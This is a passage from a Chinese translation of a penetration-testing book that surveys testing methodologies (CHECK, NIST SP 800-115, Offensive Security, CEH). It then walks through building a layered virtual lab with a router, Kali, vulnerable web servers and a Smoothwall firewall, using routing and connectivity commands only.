我们想从 CHECK 中了解的最后一件事是报告要求。作为专业安全测试人员,我们做的最重要的事情之一就是制作报告。不幸的是,这通常是得到最少关注的事情之一。在测试方面,大多数课程都会向您展示利用和其他技能。然而,现实是,您花在学习如何起草和创建报告的时间越多,您就越能够提供客户想要的东西,那就是关于您的发现的报告,而且更重要的是,基于这些发现提出改进他们的安全姿态的完整建议清单。

在 CHECK 中提交报告要求的信息示例如下截图所示:

CHECK

在 CHECK 中,我们有关于报告构成的信息。这是一个高层抽象,包括六个主要主题。有关每个主题的额外解释,请参考以下链接:

www.cesg.gov.uk/servicecatalogue/CHECK/Pages/CHECKReportRequirements.aspx

六个主要主题如下:

  • 报告作者应确保报告可被客户阅读和获取

  • 报告应提供参与健康检查的个人的详细信息

  • 报告应被标记为网络包含信息所需的

  • 报告应传达健康检查的背景、范围和内容

  • 漏洞应该被准确识别

  • 每个确定的漏洞都应该与一个补救方案相关联

再次强调,这是对主题的简要解释,但它符合我们的目的。作为提醒,如果你的参与或者你的合同投标涉及到英国国防部或英国政府的范围和领域,你会想熟悉 CHECK。值得注意的是加拿大也参与了 CHECK 的要求。

NIST SP-800-115

国家标准与技术研究所特别出版物(NIST-SP-800-115)是信息安全测试和评估的技术指南。该出版物由 NIST 的信息技术实验室(ITL)制作。

该指南将安全评估定义为确定被评估实体如何有效地满足特定安全要求的过程。当你审查该指南时,你会发现它包含大量关于测试的信息。虽然该文档的更新频率不如我们希望的那样频繁,但它是我们在构建测试方法论时的一个可行的参考资源。该文档包括以下主要章节:

  • 介绍

  • 安全测试和审查概述

  • 审查技术

  • 目标识别和分析技术

  • 目标漏洞验证技术

  • 安全评估规划

  • 安全评估执行

  • 测试后活动

就像我们在 OSSTMM 中所做的那样,我们只会看文档的一小部分细节。NIST 网站有许多参考资料,我们应该熟悉。以下是特别出版物主页的一个示例截图:

NIST SP-800-115

NIST 网站和参考资料应该被收藏在你最喜欢的浏览器中,因为他们不断发布审查的出版物。花一些时间审查这些预发布的出版物总是一个好主意;这是帮助你保持科技更新的另一种方法。

根据 NIST 出版物,该文档为我们提供了专业信息安全测试和评估的流程和技术指导的参考,并且具体的要点如下截图所示:

NIST SP-800-115

对于那些想要更详细审查 NIST SP800-115 的人,你也可以从 NIST 网站下载它以及其他特别出版物的文件 csrc.nist.gov/publications/PubsSPs.html

根据 NIST,为了使组织从安全评估中获得最大价值,建议如下:

  • 建立信息安全评估政策

  • 实施可重复和有文档记录的评估方法

  • 确定每个安全评估的目标,并相应地调整方法

  • 分析发现并开发风险缓解技术以解决弱点

正如这些建议所示,这是组织需要遵循以帮助改善其安全姿态的坚实基础。不幸的是,尤其是在我参与的评估中,很少发现一个明确定义并实施了这些准则的组织。列表中的第一项,安全政策,是最重要的准则之一,但通常得到组织最少的关注。组织不仅需要有一个明确定义的政策,而且需要遵守它!我们不会专注于这些项目,因为我们更感兴趣的是本书的测试和评估的过程和方法论。然而,作为测试人员,我们知道这些类型的建议很重要,这样我们就可以将这些信息传递给我们的客户,或者至少为他们提供参考信息,以便他们自行探索。

我们需要查看的出版物的第一部分是安全测试和审查概述;这部分分为以下几个部分:

  • 信息安全评估方法

  • 技术评估技术

  • 比较测试和评估

  • 测试观点

信息安全评估方法

随着我们在本书中的进展,我们将继续强调遵循方法论的重要性,这也是我们将从 NIST 出版物中提取并关注的内容。在 NIST 指南中,他们将方法论定义为可重复和有文档记录的评估过程,这是有益的;它为测试提供了一致性和结构,为新的评估人员提供了培训,并解决了与安全评估相关的资源限制。几乎所有的评估都会有某种类型的限制;这些限制可能是时间、人员、硬件、软件或其他一些挑战。为了减轻这些类型的挑战,组织需要了解他们将执行什么类型的安全测试和审查。

通过制定适当的方法论,花时间确定所需资源,并规划评估的结构,组织可以缓解资源可用性的挑战。这样做的一个强大的好处是,组织可以建立可以在后续评估中使用的组件。随着组织进行越来越多的评估,这个过程将继续得到完善,并同时改善测试所需的时间。

NIST 的方法是定义阶段,最小阶段定义如下:

  • 规划:这是安全评估的关键阶段;用于收集必要信息。正如我们之前讨论过的,您花在规划评估上的时间越多,评估的发展就越好。在 NIST 规划阶段内,我们确定资产、存在于定义资产之上的威胁以及用于缓解这些定义威胁的安全控制。

  • 执行:执行阶段的主要目标是识别漏洞并在适当时验证它们。正如我们之前讨论过的,漏洞的验证是对已识别漏洞的实际利用。我们也讨论过,这并不是大多数评估工作范围内包含的内容,但如果在工作范围内,这就是根据 NIST 指南确定的位置。值得注意的是,没有两个评估会完全相同。因此,这一步的实际构成将根据正在进行的过程和方法论而变化。

  • 执行后:执行后阶段侧重于分析已识别的漏洞,以确定根本原因,建立缓解建议,并制定最终报告。

NIST 还定义了其他存在的方法论,因此,专业的安全测试人员需要看到不止一种方法。这也是我们同意的,这也是为什么我们展示存在的不同方法论并讨论结合它们的方法。

技术评估技术

有许多不同的技术评估技术可用,而不是讨论它们,我们将看看在 NIST 出版物的这一部分中专门讨论的技术。该出版物涵盖了以下评估技术:

  • 审查技术:这些是用于评估系统、应用程序、网络、政策和程序以发现漏洞的审查技术。审查技术通常是手动进行的。

  • 目标识别和分析技术:这些技术可以识别系统、端口、服务和潜在的漏洞。这些可以手动执行;然而,更常见的是使用自动化工具来完成这些工作。

  • 目标漏洞验证技术:在这个过程中,我们要么手动验证漏洞,要么使用工具。这里的技术,比如密码破解、渗透测试、社会工程和应用安全测试,都是模拟攻击者的技术。

正如我们已经多次提到的,没有一种方法能够展现完整的图片,因此专业的安全测试人员将使用多种不同的技术来获取所需的信息。

NIST 出版物明确指出,它不是一个能够为您提供应该使用哪种技术的答案的参考资料。相反,重点更多地放在了检查不同技术技巧如何执行上。

比较测试和审查

审查是通过审查组织的文件来定义的。这是审查的唯一功能,这是我们验证组织是否有定义的政策并且是否遵循的地方。经常发现不准确的领域之一是架构图,这是我们进行审查步骤时要检查的领域之一。

在大多数情况下,审查对系统或网络没有影响。虽然有可能会有影响,但这种情况极为罕见,对于我们的目的,我们将坚持认为对正在测试的系统或网络没有影响。

使用扫描和其他技术进行测试可以并很可能会提供比审查获得的更准确的组织安全状况的图片。然而,这种审查也可能会影响组织的系统和/或网络。因此,在某些情况下,使用审查文档将被用来限制对正在评估的站点的影响。正如 NIST 所说:

在许多情况下,结合测试和审查技术可以提供更准确的安全视图。

这是我们一直遵循的方法,随着书籍的进展,我们将继续遵循这一方法。

测试观点

众所周知,测试可以从许多角度进行。我们将讨论其中一些位置以及它们如何成为我们评估方法的一部分。根据 NIST 出版物,我们将讨论外部和内部观点。外部测试是在组织的边界之外进行的,从外部查看安全状况;此外,它是从互联网和外部攻击者的角度进行的。对于内部测试,评估人员从内部工作,并模拟成内部人员或已突破边界防御的外部攻击者。这种测试侧重于系统级安全和配置,以及身份验证、访问控制和系统加固。

当需要进行内部和外部测试时,通常首先进行外部测试。当同一测试人员进行测试时,这是有益的,以防止他们获得外部测试人员不会有的内部信息,从而使测试无效或不够真实。在进行内部测试时,客户不应对网络架构进行任何更改。

明显和隐蔽

根据 NIST,明显或白帽测试涉及在 IT 工作人员的知识下进行外部和/或内部测试。也就是说,工作人员处于警觉状态,并知道正在进行评估。在某些情况下,这可以帮助限制测试的影响。此外,这可以作为一个培训机会,让组织工作人员了解更多关于测试的信息,并在某些情况下,学习如何为他们的组织进行自我评估。

根据 NIST,隐蔽或黑帽测试采用对抗性的测试方法。也就是说,它在组织的 IT 工作人员不知情的情况下进行测试,但得到了上级工作人员和管理层的许可。有时,组织需要指定一个可信赖的第三方来确保测试不会导致事件响应计划启动。隐蔽测试的目的是检查对手可能造成的损害。此外,这种测试不关注识别漏洞,也不测试每个安全控制。这种测试纯粹是对抗性的,通常涉及发现漏洞,然后利用它来获取对系统和/或网络的访问权限。

隐蔽测试可能耗时且昂贵。这就是为什么大多数测试以明显的方式进行的原因。这并不意味着客户永远不会要求隐蔽测试。总是有可能会这样,这就是为什么它仍然是 NIST 方法论的一个重要组成部分。

我们想要看的 NIST 出版物的下一部分是目标识别和分析技术部分。从这一点开始,我们将不会审查部分内的所有主题。我们将强调继续时要记住的重要点。在这一部分,我们将提到评估团队成员的技能。以下截图显示了一个例子:

明显和隐蔽

正如前面的截图所示,四种主要技术中的三种需要 TCP/IP 知识作为基本技能。这与我在行业中看到的情况相符,即理解协议的重要性,并能够在数据包级别对其进行分析。你们中的许多人可能认为,在涉及 TCP/IP 时,你需要具有广泛的背景和高水平的知识,这是一件好事。不幸的是,我遇到的大多数顾问或想成为顾问的人并没有所需的 TCP/IP 详细知识。这促使我编写了一门关于安全基础和核心概念的课程。课程的主要组成部分之一就是 TCP/IP。作为测试人员,理解网络模型的所有层是至关重要的,而且,你需要在相应的层次上解释和分析不同的事件。

我们接下来要从 NIST 出版物中审查的是目标漏洞验证技术部分。这个专业安全测试步骤被称为渗透测试。根据 NIST 的定义,出版物的这一部分涉及验证在方法论的其他步骤中发现的漏洞。这一步的目标是证明漏洞不仅存在,而且还会造成安全风险,可以被利用。正如我们之前提到的,漏洞验证的行为,更常被称为利用,不是 100%确定的。因此,在测试阶段,我们进行了彻底和系统的测试,以便识别那些最有可能成功验证的漏洞。需要注意的是,这种技术带来了最大的风险。这是因为这些技术更有可能影响目标。此外,这种技术在多次情况下可能会导致被测试目标崩溃。在进行验证时,任何时候都要谨慎进行。

NIST 定义的渗透测试包含在这一部分中。根据 NIST 的定义,渗透测试概念分为四个阶段。这四个阶段是规划发现攻击报告。NIST 出版物中的一个例子如下图所示:

明显和隐蔽

在规划阶段,规则被确定,并且获得批准并进行最终记录。必须确保批准书是来自组织的合格代表的书面形式。规划为成功的渗透测试奠定了基础。

发现阶段包括两个部分;第一部分是实际测试的开始,涵盖信息收集和扫描。在发现阶段的第一部分收集的信息如下截图所示:

明显和隐蔽

发现阶段的第二部分是漏洞分析的过程。这涉及将我们先前发现的信息与漏洞数据库进行比较。就像我们在本书的前面所做的那样,这个过程寻找我们已经确定的信息,然后找到我们在进入下一个攻击阶段时可能利用的漏洞。在大多数情况下,这最初是通过自动扫描程序进行的。一旦扫描程序确定了潜在的漏洞,我们就会进行更深入的调查,以查看它是否确实存在弱点,以及我们如何利用或验证这个漏洞。因此,这个过程是手动的,可能会耗费时间。

攻击阶段是我们通过尝试利用已识别的潜在漏洞来验证它们的阶段。如果验证成功,那么意味着利用成功,漏洞存在。因此,如果利用不成功,这并不意味着漏洞不存在;这只是意味着我们在尝试验证时无法成功利用它。这可能有很多原因,超出了本章的范围。另一个要考虑的问题是,我们可能会利用机器,但只能获得低或非特权用户的访问级别。测试人员可能能够提升他们的权限并访问其他资源。当我们发现可以潜在利用的信息时,这些都是我们作为测试人员所做的组成部分。

以下截图显示了一个例子:

明显和隐蔽

在攻击阶段前面屏幕截图中的阶段将在很大程度上取决于工作范围。因此,正如我们已经提到的,为规划阶段定义清晰简明的工作范围对于专业安全测试的后续组成部分至关重要。

根据 NIST 出版物中定义的渗透测试的最后阶段是报告阶段。正如我们之前提到的,正是在这个阶段我们为客户制作交付物。这也是一个与其他阶段同时进行的关键组成部分。因此,在测试结束时,我们会制作一份发现结果的报告并提供给客户。这是评估的展示;它向客户展示了已经完成的工作,并为他们提供了发现结果的详细清单。此外,对于每个发现,它都提供了分析和建议或程序,以消除或减轻漏洞的风险。

我们将通过解释 NIST 出版物中的内容来结束对其的讨论。所有技术和技术组合都存在风险。因此,为了确保尽可能安全和准确地执行每种技术,建议测试人员具有一定水平的技能。其中一些在前面的屏幕截图中已经显示,而在本节中,我们还有另一个关于技能的指南,如下面的屏幕截图所示:

明显和隐蔽

值得注意的是,前面屏幕截图中确定的技能仍然涉及 TCP/IP 知识,但现在我们已经从一般知识的水平发展到了广泛的知识水平。再次强调,以专业安全测试人员的身份,理解 TCP/IP 的最低级别是至关重要的。

Offensive Security

Offensive Security 团队负责多个项目,我们将作为专业安全测试人员来探索这些项目。其中包括 Kali 发行版、metasploit unleashed 指南、Google Hacking Database 和 Exploit Database。如果您访问 Offensive Security 网站www.offensive-security.com/,您将找不到实际方法的参考,但由于 Kali 发行版是该团队维护的一个项目,我们可以在其中寻找方法。Kali 中存在的方法的一个示例如下面的屏幕截图所示:

Offensive Security

如前面的屏幕截图所示,Kali 发行版中包含的方法与我们在其他示例中介绍的步骤相似。正如前面提到的,Offensive Security 团队还维护着出色的metasploit unleashed参考资料。在这些步骤中,我们可以练习一种方法,如下面的屏幕截图所示:

Offensive Security

metasploit unleashed参考资料的一个很棒的地方在于,在其中的主题中,有详细的步骤来支持测试方法中不同步骤中使用 metasploit 框架。在Meterpreter Scripting下可以找到的步骤的示例如下屏幕截图所示:

Offensive Security

我们将在这里结束对metasploit unleashed参考资料的讨论。在继续之前,建议您研究这里提供的信息,如果您想更加熟练地使用 metasploit 框架。这是我们释放工具力量的最佳参考之一。

其他方法

如果您在互联网上搜索,您会发现在安全测试方法方面有许多参考资料,如果扩展到包括风险评估,那么数字将会更多。您找到的许多参考资料已经有一段时间没有更新了。我们已经涵盖了其中的一些,在这里,我们将简要介绍另一个。

如果您曾经参加过国际电子商务顾问委员会提供的认证道德课程,您会发现在课程的每个模块结束时,都有一个专门用于渗透测试的部分。在其中,您会发现一个流程图,显示了每个步骤,并提供了一个用于获得该步骤结果的工具示例。以下是一个示例截图:

其他方法

前面的示例是渗透测试的枚举步骤的流程图;这是创建您的渗透测试方法文件的绝佳起点。事实上,建议您制作这些流程图并将其覆膜,以便您可以携带它们到现场,并作为您遇到的不同类型测试的参考。

定制

我们已经讨论了许多方法,从中可以得出的结论是审查现有的不同参考资料,然后根据您的研究定制自己的方法是非常重要的。强调的另一个重点是您的方法应该是动态的,并且随着测试的进行,根据需要进行调整和定制以满足您和您的团队的需求。

让我们重新审视我们在第一章中介绍的高层抽象方法,介绍渗透测试。该方法包括以下步骤:

  • 规划

  • 非侵入性目标搜索

  • 侵入性目标搜索

  • 数据分析

  • 报告

这种方法对我们最初接触专业安全测试是足够的,但现在我们已经审查了许多参考资料,我们的方法需要更新。我们想要做的是在我们的抽象方法中添加两个额外的步骤。这两个步骤是远程目标和本地目标评估。这些将被放置在我们的方法之后侵入性目标搜索。具有这两个额外步骤的我们的方法的示例如下:

  • 规划

  • 非侵入性目标搜索

  • 侵入性目标搜索

  • 远程目标评估

  • 本地目标评估

  • 数据分析

  • 报告

通过远程目标评估,这是从外部位置评估目标的过程。因此,接下来的本地目标评估是指从本地机器内部评估目标的过程。虽然这两个步骤被视为独立的组成部分,但重要的是一旦在一台机器上获得了访问权限,本地评估可以像测试人员本地位于机器上一样进行。

这是我们在整本书中需要参考的方法。这是一个简单易行的格式,为我们进行测试提供了很大的灵活性。此外,它允许我们根据需要进行扩展。此外,这是一个经过验证的过程,满足了我们在构建实验室环境时的测试需求。

总结

在本章中,我们已经研究了许多不同的流程和方法参考,这些参考可以在我们进行专业安全测试实践时使用。

我们从 OSSTMM 的综合国际参考开始了本章。我们研究了参考中进行无线评估的过程和步骤。

根据 OSSTMM,我们简要介绍了 CHECK,这是英国进行安全评估的一部分。我们还讨论了包含标记数据的网络的评估。

我们接下来审查的是 NIST SP 800-115。我们调查了文件的格式,并讨论了参考文献中的一些部分。我们查看了评估和渗透测试所需技能的示例。其中一个常见的项目是对 TCP/IP 的了解。

我们查看了 CEH 课程材料中的一个示例流程图,并在本章结束时使用了我们在第一章中介绍的抽象方法,以及两个额外的步骤。我们将在下一章建立一个外部测试架构。

第六章:创建外部攻击架构

在本章中,我们将构建一个外部架构,我们将在攻击的不同阶段中使用它。我们将在本章讨论以下主题:

  • 建立分层架构

  • 配置防火墙架构

  • 部署 IDS/IPS 和负载均衡器

  • 集成 Web 应用防火墙

本章将为我们提供一个外部攻击架构,该架构将提供模拟多种不同测试环境的能力。在本章中,我们将通过配置作为架构连接设备的范围核心设备的过程,如路由器、交换机和防火墙机器来工作。因此,我们可以轻松地构建目标机器或设备,并将其插入我们的架构中,立即开始测试。

建立分层架构

我们的意图是提供多个层次,作为一个外部攻击者,我们可能需要穿越这些层次才能到达目标。这是外部测试的现实;许多目标将在攻击者和目标之间设置多重保护。幸运的是,由于这些机器需要允许外部访问服务,它们也将允许我们进行测试时的访问。

我们将构建我们的网络架构,以提供以下图表中显示的层次:

建立分层架构

当我们审查架构时,我们看到我们已经在原始设计中添加了一个 Web 服务器和一个堡垒主机,并且路由器连接到 VMnet8 和 VMnet 2 交换机。正如在第四章中所讨论的,识别范围架构,这就是我们计划架构的强大之处;我们只需在想要测试的地方插入机器。在前面的图表中显示的架构中,我们有一个路由器设备,我们将用于测试。正如我们在第三章中提到的,规划范围,我们正在使用 Dynamips Cisco 软件仿真器进行本书的工作,并且需要配置它以允许我们的服务。如果您使用iptables选项,那么您将需要配置该设备以支持您的架构的服务。

第一步是在 VMware Workstation 中启动路由器设备。一旦机器启动完成,使用您在安装软件时创建的用户名和密码登录。输入dynamips –H 7200来启动路由器。一旦它启动,您需要通过打开另一个终端窗口并输入dynagen config.net来加载配置文件。配置加载完成后,输入 R1console 并访问正在运行的路由器。在路由器提示符下,输入en进入路由器的特权模式。

在这一点上,我们接下来输入show ip int brief来显示路由器接口的配置;您的输出应该类似于以下屏幕截图中显示的内容:

建立分层架构

如前面的屏幕截图所示,我们的路由器上有两个接口,显示状态up协议也为up,这正是我们想要的。如果您的路由器屏幕没有显示这些内容,您将不得不回到我们在第四章中使用的过程,识别范围架构,看看出了什么问题。希望您至少能看到 IP 地址信息是正确的。如果是这种情况,那么可能只是需要激活接口,这可以通过在接口配置菜单中输入no shut来完成。要激活接口,请输入以下命令:

conf t
int <interface name eg: f0/0>
no shut

如果您没有正确的地址信息,那么您可能没有保存我们在第四章识别范围架构中创建的配置,因此您将不得不返回到该章节并按照步骤进行,以获得前面截图中显示的结果。

提示

现在我们的架构中有一个路由器,虽然我们可能会遇到一个没有过滤的路由器,但很可能我们不会那么幸运;因此,我们需要在我们的路由器设备上设置过滤。这绝对是我们想要添加的东西,但现在我们将建立网络并确保它正常工作,然后再应用过滤。这样我们就可以根据需要进行故障排除,而不必处理过滤。

由于我们有一个路由器,我们需要添加一个目标机器并连接我们的架构;我们将通过向我们的架构添加一个 Web 服务器来实现这一点。我们的意图是在第一级创建网络,如下图所示:

建立分层架构

我们可以继续构建我们架构的更多层,但更好的设计方法是在进入下一层之前测试每一层。当我们回顾前面的图表时,我们有三台机器是架构的组成部分。我们现在要添加这些机器并进行测试。路由器已经运行起来了,所以我们有两台机器要启动。我们要启动的下一台机器是攻击者。就像我们在第四章识别范围架构中所做的那样,我们将使用 Kali Linux 发行版机器。首选的机器是我们以 VM 格式下载的那台。VM 的配置如下截图所示:

建立分层架构

我们要确保的主要事情是我们的网络卡之一连接到 VMnet8(NAT)交换机,在这种情况下,我们确实有。一旦我们验证了网络适配器,我们就可以启动虚拟机。一旦机器启动,使用您创建的用户名和密码登录,或者如果您没有更改密码,则使用默认密码。每次启动 Kali VM 时更新发行版都是一个好主意。但是,在这样做之前,始终在更新期间拍摄快照以防出现问题。导航到VM | 快照 | 拍摄快照。在打开的窗口中,输入快照的名称,然后单击拍摄快照。拍摄快照后,通过输入以下命令更新发行版:

apt-get update
apt-get dist-upgrade

升级完成后,下一步是测试与路由器的连接。在 Kali 上,输入ping 192.168.177.10 –c 5,如果一切顺利,您应该会看到一个回复,如下截图所示:

建立分层架构

现在我们已经有了连接,我们准备添加我们的下一个机器,这是我们的 Web 服务器。正如我们在第四章识别范围架构中提到的,当我们要添加 Web 服务器时,我们有很多选择,这实际上是一个个人偏好的问题。正如我们所知,我们将在架构中有两台 Web 服务器;我们可以为第二台机器选择不同的 Web 服务器。对于书中的第一台 Web 服务器,我们将从 OWASP 和 Mandiant 中选择Broken Web Application VM。由于这将连接到 DMZ 交换机,我们只需要确保网络适配器连接到 VMnet2 交换机。

此配置示例如下截图所示:

建立分层架构

一旦配置已经验证,我们将要做的下一件事是启动虚拟机。机器启动后,您将注意到分配给 VM 的 IP 地址。现在我们的机器已经启动运行,我们想要验证我们是否可以访问它。我们有几种选择。我们可以使用简单的 ping,或者我们可以使用应用程序层并通过浏览器连接。在这里,我们将使用浏览器。在撰写本书时,我们的机器被分配了 IP 地址10.2.0.132,因此我们打开浏览器到该 IP 地址。此示例如下屏幕截图所示:

建立分层架构

打开地址为 10.2.0.132 的浏览器时显示的屏幕。 (裁剪的文本不重要)

发生了什么?为什么我们无法连接?这实际上是在构建虚拟环境时非常常见的问题,但在我们揭示原因之前,我们将按步骤进行逻辑推理。接下来,我们将尝试从路由器 ping 它。选择您的 Dynamips 机器,在路由器窗口中,输入 ping 10.2.0.132以验证您可以在平面网络上访问该机器。此示例如下屏幕截图所示。您的 IP 地址可能不同,这种情况下,您将使用分配的 IP 地址。

建立分层架构

这表明当它是平的时候,我们有连接,我们也知道我们可以从之前的测试中 ping 通路由器的外部接口;那么,下一步是什么?我们想要查看到目标的路径。因此,在您的主机上打开命令提示符,输入tracert 10.2.0.132。此命令的输出示例如下屏幕截图所示:

建立分层架构

问题的关键在于,在第一跳时,网关应指向路由器接口;然而,它当前指向机器连接的无线路由器。这在构建架构时非常常见;此外,当我们执行诸如枢纽之类的技术时,我们必须设置路由,以便可以访问目标。我们可以更改默认网关,但这是最不理想的选择,因为我们用它将流量从 NAT 接口传输到互联网。因此,更好的选择是手动添加路由。当我们要跨网络通信时,所有机器都需要这样做。用于添加路由的语法将因不同操作系统而异。我们将首先在主机 Windows 机器上添加路由。打开管理员命令提示符,在命令提示符中,输入route add 10.2.0.0 mask 255.255.255.0 192.168.177.10 metric 2,然后测试它。此示例如下屏幕截图所示:

建立分层架构

等一下!为什么它不起作用?这是构建环境的过程的一部分;我们喜欢说挫折是好的,因为这是您学习的时候。一旦遇到困难,退一步思考,然后更加努力。在前一个图像中,我们看到流量朝着正确的方向前进,即朝着路由器接口;然而,在那一跳之后它没有返回任何东西。这是您必须牢记的另一个常见问题。我们在主机上添加了路由,但我们没有在目标上添加路由,这是必需的;我们必须在网络会话的两侧配置路由。

选择破损的 web 应用程序VM,并登录到该机器。登录后,我们将输入添加路由的命令。您可以输入man route并查看主页,以确定添加路由所需的语法。输入route add –net 192.168.177.0 netmask 255.255.255.0 dev eth0并将路由添加到该机器。返回到您的主机并测试配置。

测试后的示例如下截图所示:

建立分层架构

我们现在已经在我们的第一层中建立了连接。我们还需要在我们的攻击机器中添加路由。幸运的是,语法是相同的;这并不总是这样,但这次是这样。在你的 Kali 攻击机器中,输入“route add –net 10.2.0.0 netmask 255.255.255.0 dev eth0”并通过 ping 目标来测试配置;成功测试的示例如下截图所示:

建立分层架构

我们现在已经安装了我们防御基线的第一层,并且更重要的是,我们已经建立并运行了网络连接。我们的配置中有一个问题,那就是路由。我们还没有设置路由以在重启后生效。我们有多种选项可以做到这一点,我们不会覆盖所有选项。在 Windows 中的一个选项是使用一个带有路由语句的“批处理”文件,然后根据需要运行它。在 Windows 中还有另一个选项,你可以使用 route 命令本身的-p选项。这将路由设置为持久路由,当你这样做时,它会将路由添加到注册表中。这个路由的位置被插入到注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip \Parameters\PersistentRoutes键中。对于我们的目的,我们不需要使路由持久,但这只是一个选项,这就是为什么我们涵盖它的原因。

接下来,我们将配置我们的第二层;这要求我们将一个 Web 服务器连接到我们在第三章中设置的橙色或 eth2 接口,规划一个范围,在堡垒主机上。为了进一步完成我们的第二层,我们将在连接机器后添加路由。我们第二层的示例如下图所示:

建立分层架构

正如前面的图表所示,我们需要为连接到VMnet3交换机的第二层构建另一个 Web 服务器。这将作为一个由路由器和堡垒主机屏蔽的独立服务子网架构,有效地构成了一个两层的防御架构。

我们可以使用我们在第一层防御架构中拥有的相同平台,但是在设计外部环境时,我们希望使用各种各样的机器;因此,我们将使用另一台机器。我们已经从 Rapid7 下载了 metasploitable 虚拟机,所以我们将把它用作我们的第二个 Web 服务器。我们只需要配置它以满足我们第二层防御的要求。

这个配置的示例如下截图所示:

建立分层架构

我们现在已经为子网设置了我们的机器;因此,是时候启动所有机器并进行测试了!一旦机器启动,你将测试连接;最简单的方法是从堡垒主机虚拟机进行测试。为了测试目的,我们将启动 Kali、路由器、堡垒主机和 metasploitable。当 metasploitable 启动时,我们将记录其 IP 地址。由于我们已经设置了带有 DHCP 服务器的 VMnet3,地址应该在启动时自动分配。登录到机器并输入ifconfig以显示 Web 服务器的网络配置。

这个示例如下截图所示:

建立分层架构

正如我们在构建第一层时发现的,我们必须建立路由。由于我们处于隔离的子网中,我们可以配置默认网关,而不是逐个添加子网。在 metasploitable 虚拟机中,输入sudo route add default gw 10.3.0.10来添加路由到表中。这为我们提供了一条路由;每当一个数据包到达我们的 Web 服务器时,如果它不知道该往哪个方向去,它将把数据包转发到默认网关,即 Bastion Host 上的接口。要测试连接性,你必须从 Bastion Host 到 Web 服务器的方向进行 ping。默认情况下,Smoothwall 防火墙不允许你从橙色子网向外部 ping。这对于安全是件好事,也对我们的测试是好事,因为除非管理员犯错并打开这样的漏洞,否则我们将遇到相同类型的默认配置。橙色子网成功测试的一个例子如下截图所示:

建立分层架构

我们接下来要做的是验证攻击者路由器对橙色子网的访问。为了做到这一点,我们需要从路由器测试到 Web 服务器。为了实现这一点,我们必须在路由器中添加一个到我们的10.3.0.0子网的路由。你可能还记得,我们将 Bastion Host 虚拟机的红色接口设置为 DHCP。现在我们已经为我们的架构添加了另一层,这是我们可能要重新考虑的一件事。如果你愿意,你可以将 IP 更改为静态。对于我们的目的,我们将使用在 Bastion Host 启动时分配的 IP。要确定这个命令的 IP 地址,输入ifconfig eth0在 Bastion Host 中,并注意接口上的 IP 地址。

一个例子如下截图所示:

建立分层架构

正如前面的屏幕截图所示,eth0 接口上分配的 IP 地址是10.2.0.131;我们将使用这个地址在路由器中添加我们的路由。切换到路由器,并在路由器终端窗口中输入show ip route。命令的输出将显示我们没有到 10.3.0.0 网络的路由;因此,我们必须添加这个路由,以便我们可以访问该子网。在路由器中,输入conf t进入配置模式。一旦你在这里,输入ip route 10.3.0.0 255.255.255.0 10.2.0.131来添加路由到表中。如你从命令中看到的,我们使用 eth0 接口的 IP 地址来路由流量。一旦你输入了命令,通过输入Ctrl + Z返回到主提示符。输入ping 10.3.0.10来 ping Bastion Host 的 eth2 接口。接下来我们将测试与 Web 服务器机器的连接。输入ping 10.3.0.128;你会注意到这个失败了!为什么呢?嗯,你必须再次考虑架构。Bastion Host 充当防火墙,正如我们在第三章中所示,“规划一个范围”,Smoothwall 防火墙的入口过滤默认设置为不允许任何入站;因此,我们必须打开从外部到橙色 eth2 子网的连接。

我们需要访问 Smoothwall 防火墙的配置,正如你可能还记得来自第三章,“规划一个范围”,我们可以通过 Web 浏览器来做到这一点。打开您选择的 Web 浏览器,并输入https://10.4.0.10:441来打开登录页面。然后,输入您在创建机器时配置的用户名和密码。

一旦配置页面出现,转到Networking | incoming打开传入流量的配置页面。当您审查可用的信息时,您会注意到允许 ICMP 入站不是一个选项;因此,我们只能允许 UDP 或 TCP。因此,这也是为什么我们喜欢在架构我们的范围时使用 Smoothwall 防火墙的另一个原因。我们知道 metasploitable 机器上有一个 Web 服务器,所以我们将配置防火墙以允许访问服务器。

我们将配置规则,以满足以下截图中确定的设置:

建立分层架构

我们可以通过指定外部源 IP 的特定 IP 块使规则更加精细,但对于我们的目的,这就足够了;此外,您可能希望将 Web 服务器中的 IP 地址设置为静态,以避免 IP 地址更改并破坏我们的规则的可能性,但这很容易做到,并且已经涵盖过了,所以这里不再涵盖。

接下来我们要做的是测试我们的规则。我们已经看到我们无法使用 ping 从我们的路由器访问机器。所以,我们现在将尝试访问 Web 服务器,这是 Web 服务器的端口 80,因为我们已经将其添加到我们的防火墙规则集中。在路由器终端窗口中,输入telnet 10.3.0.128 80,一旦连接完成,输入get / http/1.1,然后按两次Enter。这将尝试从 Web 服务器返回主页,并验证您通过堡垒主机对 Web 服务器的连通性。示例如下截图所示:

建立分层架构

我们现在必须添加一个路由并从我们的攻击机器进行测试;此外,我们还必须在堡垒主机中添加一条返回到 192.168.177.0 网络的路由。这是经常被忽视的一个领域。您必须维护目标范围的网络流量路由,这是至关重要的。

在 Kali 和堡垒主机上添加路由。在 Kali 机器上,输入route add 10.3.0.0 netmask 255.255.255.0 dev eth0,在堡垒主机上输入route add 192.168.177.0 netmask 255.255.255.0 dev eth0

一旦路由被添加,打开您选择的浏览器并连接到 metasploitable VM 上的 Web 服务器;或者,您可以使用我们从路由器使用的 telnet 方法。您应该看到的示例如下截图所示:

建立分层架构

恭喜!你成功了!我们已经建立了我们的外部架构!建立它需要一些时间,但一旦建立完成,我们就可以执行任何类型的外部测试,这就是虚拟化的力量。

注意

关于路由的一点说明;如果您搞混了并犯了错误,这可能是一件麻烦的事情,因此,您可能希望考虑永久存储路由更改以在重新启动或其他意外挑战中生存。

您可以像我们讨论的那样创建批处理文件,另一种方法是将路由配置保存在文本文件中,并根据需要复制和粘贴它们。最后,如果您真的想要更加永久地设置路由,那么您可以设置一个 cron 作业或将路由命令放在配置文件中。对于那些想要这样做的人,这留作作业给您!

我们完成的外部架构示例如下图所示:

建立分层架构

我们现在已经在这里设置了基线架构,并且准备好开始构建和配置各种组件。首先,我们必须进行一些配置更改,因为我们的架构在过滤方面有些松散。我们现在就来做这个。在继续之前,保存我们已经构建的路由器配置。在路由器提示符下输入write mem

对于那些使用 iptables 机器的人,我们将开始解决这个配置的一些变化。到目前为止,这些变化是不需要的,而且你有一个优势,不需要像使用 Cisco IOS 的人那样进行路由器配置条目。

配置防火墙架构。

